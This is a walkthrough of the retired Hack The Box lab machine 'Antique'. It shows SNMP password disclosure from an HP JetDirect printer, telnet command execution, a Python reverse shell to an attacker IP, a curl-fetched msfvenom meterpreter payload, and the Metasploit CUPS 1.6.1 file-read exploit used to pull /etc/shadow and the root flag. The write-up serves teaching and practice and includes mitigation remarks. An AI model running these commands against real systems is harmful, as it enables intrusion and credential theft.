13 minute read

Antique Logo

Welcome to this walkthrough for the Hack The Box machine Antique. This one is listed as an ‘easy’ box and has also been retired, so access is only provided to those that have purchased VIP access to HTB. Because of this, you may notice that it is necessary to be connected to HTB’s VIP VPN server, rather than the free server. To do this, change the dropdown selection in the top right corner where you select “Connect” to “VIP” and download the .ovpn package (yes, even as a paid user, you must toggle between free and paid VPN packages depending on the machine).


Scanning

Go ahead and run your favorite port scanner. I will use NMap :

NMap Results

TCP PORT SCAN:
sudo nmap -sS -A -sV -T5 -p- 10.10.11.107 | tee nmap.log

PORT   STATE SERVICE VERSION
23/tcp open  telnet?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: 
|     JetDirect
|     Password:
|   NULL: 
|_    JetDirect

If we were doing a real penetration test, of course we would look far more in-depth into our discovery/enumeration, however, it is still a good rule-of-thumb to scan both TCP and UDP.

For many of the easy HTB challenges, UDP service enumeration is not necessary, but on this box, it is relevant.

UDP PORT SCAN:
sudo nmap -sU 10.10.11.107 --open --top-ports=1000 | tee nmap-udp.log

PORT      STATE         SERVICE
137/udp   open|filtered netbios-ns
161/udp   open          snmp
1037/udp  open|filtered ams
1080/udp  open|filtered socks
5353/udp  open|filtered zeroconf
9001/udp  open|filtered etlservicemgr

Enumeration

It looks like we have a printer JetDirect running on port 23 - Telnet && SNMP is also open on UDP 161.
Let’s try to get some more information on these services.

SNMP - UDP 161

NMap has many useful scripts for enumeration located in /usr/share/nmap/scripts. Normally if I am trying to run an NMap script on a target, I print all the relevant ones likeso :

ls -la /usr/share/nmap/scripts | grep [SERVICE]
┌──(kali㉿kali)-[~]
└─$ ls -la /usr/share/nmap/scripts/ | grep snmp      
-rw-r--r-- 1 root root  7816 Jan 18 09:54 snmp-brute.nse
-rw-r--r-- 1 root root  4388 Jan 18 09:54 snmp-hh3c-logins.nse
-rw-r--r-- 1 root root  5216 Jan 18 09:54 snmp-info.nse
-rw-r--r-- 1 root root 28644 Jan 18 09:54 snmp-interfaces.nse
-rw-r--r-- 1 root root  5978 Jan 18 09:54 snmp-ios-config.nse
-rw-r--r-- 1 root root  4156 Jan 18 09:54 snmp-netstat.nse
-rw-r--r-- 1 root root  4431 Jan 18 09:54 snmp-processes.nse
-rw-r--r-- 1 root root  1857 Jan 18 09:54 snmp-sysdescr.nse
-rw-r--r-- 1 root root  2570 Jan 18 09:54 snmp-win32-services.nse
-rw-r--r-- 1 root root  2739 Jan 18 09:54 snmp-win32-shares.nse
-rw-r--r-- 1 root root  4713 Jan 18 09:54 snmp-win32-software.nse
-rw-r--r-- 1 root root  2016 Jan 18 09:54 snmp-win32-users.nse

Let’s try using snmp-brute.nse script. According to NMAP.ORG, this script attempts to find SNMP community strings via brute-force guessing.

SNMP community strings are unencrypted and only used in SNMPv1 & SNMPv2, prior to SSL/TLS. They act as a password that is shared to authenticate SNMP management stations to a device rather than logging in via username/password, which is required in SNMPv3.

The other main difference between SNMPv1/2 and SNMPv3 is that traffic is encrypted in the latter, making it harder to steal information if someone is able to capture any packets.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -sU --script=snmp-brute.nse 10.10.11.107 -p 161
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-13 01:06 EDT
Nmap scan report for 10.10.11.107
Host is up (0.075s latency).

PORT    STATE SERVICE
161/udp open  snmp
| snmp-brute: 
|   <empty> - Valid credentials
|   cascade - Valid credentials
|   secret - Valid credentials
|   rmonmgmtuicommunity - Valid credentials
|   ANYCOM - Valid credentials
|   volition - Valid credentials
|   ILMI - Valid credentials
|   TENmanUFactOryPOWER - Valid credentials
|   MiniAP - Valid credentials
|   PRIVATE - Valid credentials
|   admin - Valid credentials
|   private - Valid credentials
|   public - Valid credentials
|   PUBLIC - Valid credentials
|   snmpd - Valid credentials
|   cisco - Valid credentials
|   mngt - Valid credentials
|_  snmp-Trap - Valid credentials

HP JetDirect

With ‘JetDirect’ as a keyword, I did a search on public vulnerabilities :

JetDirect Exploits List

Well, just based on the service name returned by NMap, we know we are dealing with a printer. Also, some of these exploits don’t have relevance (FTP not running, etc.), so I chose to check out 22319.txt first :

searchsploit -m 22319
cat searchsploit 22319.txt

HP JetDirect J2552A/J2552B/J2591A/J3110A/J3111A/J3113A/J3263A/300.0 X Printer SNMP JetAdmin Device Password Disclosure Vulnerability

source: https://www.securityfocus.com/bid/7001/info

A problem with JetDirect printers could make it possible for a remote user to gain administrative access to the printer.

It has been reported that HP JetDirect printers leak the web JetAdmin device password under some circumstances.
By sending an SNMP GET request to a vulnerable printer, the printer will return the hex-encoded device password to the requester.
This could allow a remote user to access and change configuration of the printer.

C:\>snmputil get example.printer public .1.3.6.1.4.1.11.2.3.9.1.1.13.0

Okay, well this looks extremely easy to exploit and could apply to our printer, but the exploit code utilizes snmputil to send a GET request over SNMP via MS Windows. Since I am running Kali, I would prefer to use snmpget which serves this same function.

Among other things, snmpget accepts:

  • An SNMP version paramter (-v)
  • A community string parameter (-c)
  • The network’s IP
  • The OID (Object Identifier) of the device

Note : SNMP OID’s are used to define a device and usually hard-coded and can be found in the device model’s manual online. They resemble multiple digits separated by periods (.1.3.6.1.4, etc).

Additionally, the MIB (Management Information Base) is used to translate OID’s into readable text, such as ‘net-printer

──(kali㉿kali)-[~/Documents/HTB/Antique]
└─$ snmpget -v 1 -c public 10.10.11.107 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135

Hey, it worked! But why? OID’s not only specify devices, they serve as an identifier for many objects. If we Google ‘Jet Direct MIB’ we find a list of all the Jet Direct OID’s. Doing a search on this list for the OID we used in our exploit, we see it is identified as ‘gdPasswords’ :

JetDirect MIB List

Anyways, this is a hex dump of the password for JetDirect which we determined is running on Telnet. I used CyberChef to quickly convert it to plain text :

Hex Deciphered in CyberChef

Looks like that first portion is our password.

Telnet - TCP 23

Let’s first try to connect to this JetDirect printer via telnet :

┌──(kali㉿kali)-[~/Documents/HTB/Antique]
└─$ telnet 10.10.11.107 
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password: password
Invalid password
Connection closed by foreign host.

CVE-2002-1048 Exploitation

We can use the password we grabbed from SNMP to login here :

┌──(kali㉿kali)-[~/Documents/HTB/Antique]
└─$ telnet 10.10.11.107 
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP

Mitigation

Alright, we successfully exploited CVE-2002-1048, leading to a CWE-200: Exposure of Sensitive Information to an Unauthorized Actor.

The best way to mitigate this vulnerability is to upgrade to SNMPv3 which is far more secure, which may not be possible without upgrading to newer hardware, since SNMPv3 is likely not compatible on this printer.

Additionally, Telnet is OLD (developed 1969) and intrinsically flawed in enabling attackers to obtain sensitive information and should likely not be used on a public-facing server.

Post-Exploit Enumeration : lpadmin

Now that we have a valid login and a means to do so, we can explore this machine for a lateral movement or some jumping point.

Typing ?, we see that by using the exec command, we can execute commands directly on the server.

> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session

Executing the id command on the server tells us we are lpadmin :

> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
> exec hostname
antique
> exec pwd
/var/spool/lpd

User Flag

So, let’s start by getting our flag :

> exec ls
telnet.py
user.txt
> exec cat user.txt
83d947d7e613d3f865daa424e085f84d

Better Shell

So, entering each command individually is kind of annoying, and we don’t always get the full output of each command. So, using your favorite out of a multitude of options, its time to get a reverse shell.

I copied one directly from this payload cheatsheet for a Python reverse shell. However, I had to change python to python3 because that is the version running on this box.

If you aren’t sure of the available versions just check like this :

exec ls -la /usr/bin/ | grep python

Here is the payload I used :

export RHOST="10.10.14.42";export RPORT=4242;python3 -c 'import socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

Python Reverse Shell over Telnet

Linpeas

I used netcat to transfer linpeas.sh from my local system and run it :

Antique Machine:
nc -lp 9999 > linpeas.sh | sh | tee linpeas.log

My Machine:
nc -w 3 10.10.11.107 -p 9999 < linpeas.sh

I did some normal enumeration while/after running Linpeas, such as :

kernel version & architecture : 
uname -a
cat /etc/issue     # OS info
cat /etc/*-release     #OS Version

commands I can run as sudo : 
sudo -l		#need a password for lpadmin to execute

looking for sensitive file read/write permissions : 
find / -writable -type d 2>/dev/null     #identify files w/ insec. perms. in root dir. (/)

examining running processes : 
ps axu		#lists all (including privileged) processes with/without a tty (ax)
ps -eF		#displays all ps
ps -eF | grep lp		#greps lpadmin's ps's

crontab: 
ls -lah /etc/cron*     #displays all cron jobs where * is frequency (.daily, .weekly, etc)
cat /etc/crontab     #sys admins often add their own tasks in this file, check for insec. perm.

Etc., etc. until I started looking into active ports and services, which is where I found something running internally, port 631.

Post-Exploit Enumeration: CUPS Service

Running ss -anp, which shows all active connections/ports displayed one unusual one, which linpeas also picked up :

Active Ports

We see something running locally on port 631 so I curl’d it to see if we could get the header :

$ curl localhost:631
curl localhost:631
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<HTML>
<HEAD>
        <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8">
        <TITLE>Home - CUPS 1.6.1</TITLE>
        <LINK REL="STYLESHEET" TYPE="text/css" HREF="/cups.css">
        <LINK REL="SHORTCUT ICON" HREF="/images/cups-icon.png" TYPE="image/png">
</HEAD>

We receive an HTML page and it has a CUPS version number in the header : CUPS 1.6.1

Doing a little enumeration thanks to Linpeas, we can find this version number in /var/cache/cups/job.cache as well :

Linpeas Readables

Searching online, we find that CUPSv1.6.1 is vulnerable to a Root File Read exploit.

CVE-2012-5519 Exploit

A quick definition from MITRE :

CUPS 1.4.4, when running in certain Linux distributions such as Debian GNU/Linux, stores the web interface administrator key 
in /var/run/cups/certs/0 using certain permissions, which allows local users in the lpadmin group to read or write arbitrary 
files as root by leveraging the web interface.

We are going to employ Metasploit for this one to save time (though, often I try not to).

First, startup the Metasploit Framework, find the CUPS exploit and look at its requirements :

$msfconsole
$search cups

Matching Modules
================
   #  Name                                     Disclosure Date  Rank       Check  Description
   -  ----                                     ---------------  ----       -----  -----------
   0  post/multi/escalate/cups_root_file_read  2012-11-20       normal     No     CUPS 1.6.1 Root File Read
   1  exploit/multi/http/cups_bash_env_exec    2014-09-24       excellent  Yes    CUPS Filter Bash Environment Variable Code Injection (Shellshock)
   
$use 0
$options

Module options (post/multi/escalate/cups_root_file_read):
   Name       Current Setting          Required  Description
   ----       ---------------          --------  -----------
   ERROR_LOG  /var/log/cups/error_log  yes       The original path to the CUPS error log
   FILE       /etc/shadow              yes       The file to steal.
   SESSION                             yes       The session to run this module on

So, it takes 4 parameters:

  • The path to the error_log file
  • The root file we wish to read
  • An active meterpreter session (still need)
  • And of course, a payload. Which, you can view available payloads with: ‘show payloads

Create & Transfer Payload

So, since we need an active meterpreter session to use this exploit, let’s craft a meterpreter payload for this linux machine with msfvenom :

$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.9 LPORT=8888 -f elf > msf-shell

$sudo mv msf-shell /var/www/html
$sudo service apache2 start

Now we can grab it on our victim machine with curl/wget/etc. :

curl http://10.10.14.42/msf-shell --output msf-shell
# Now, make the payload file executable: 
chmod +x msf-shell

Before we run it, we need to set up a Metasploit listener with /multi/handler :

$msf
$use multi/handler
$options

Payload options (generic/shell_reverse_tcp):
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

#Same Info Used To Craft MSFVENOM Payload: 
$set lhost 10.10.14.42
$set lport 8888
$set payload linux/x64/meterpreter/reverse_tcp
$run

Now we should have a meterpreter shell open :

msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.42:8888 
[*] Sending stage (3020772 bytes) to 10.10.11.107
[*] Meterpreter session 1 opened (10.10.14.42:8888 -> 10.10.11.107:44364)

Execute Root File Download Exploit

Okay, so now that our session is open, we need to ‘background’ it in order to use it. Afterwards, we can relocate our CUPS exploit and set it up.

# Use this command to background a current session (it will become session #1):

$bg
$search cups
$use 0
$options
$set session 1
$set payload linux/x64/meterpreter/reverse_tcp
$run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[+] User in lpadmin group, continuing...
[+] cupsctl binary found in $PATH
[+] nc binary found in $PATH
[*] Found CUPS 1.6.1
[+] File /etc/shadow (998 bytes) saved to /home/kali/.msf4/loot/20220516212811_default_10.10.11.107_cups_file_read_644190.bin
[*] Cleaning up...
[*] Post module execution completed

Now let’s go to /home/kali/.msf4/loot to see if it worked properly :

Shadow File

Great! So, we can download arbitrary files with root privileges - an outstandingly dangerous vulnerability.

Since we are doing a Hack-The-Box, I think I know what I need and where to find it.

In the same window, let’s run it again after changing our ‘root file’ parameter :

$set file /root/root.txt
$run

[!] SESSION may not be compatible with this module:
[!]  * incompatible session type: meterpreter
[+] User in lpadmin group, continuing...
[+] cupsctl binary found in $PATH
[+] nc binary found in $PATH
[*] Found CUPS 1.6.1
[+] File /root/root.txt (32 bytes) saved to /home/kali/.msf4/loot/20220516213522_default_10.10.11.107_cups_file_read_810105.txt
[*] Cleaning up...
[*] Post module execution completed

Let’s double check it :

Root Flag

Additional Comments

The way this vulnerability works, it would be very easy to pass this exploit a list as a parameter for ‘FILE’ of potentially sensitive files in order to brute-attack Antique’s local directory.

In this way, an attacker could likely gain extremely sensitive data, even if he/she does not know what files could exist.

Lastly, I just wanted to note that the /etc/passwd and /etc/shadow file can be combined and used with the password-cracking tool JohnTheRipper in order to gain root’s password and then gain a root shell. However, the amount of time it takes to crack depends upon the attacker’s available hardware (number of cores) and the difficulty of the password.

In this sense, it is only a matter of time before anyone could gain a root shell.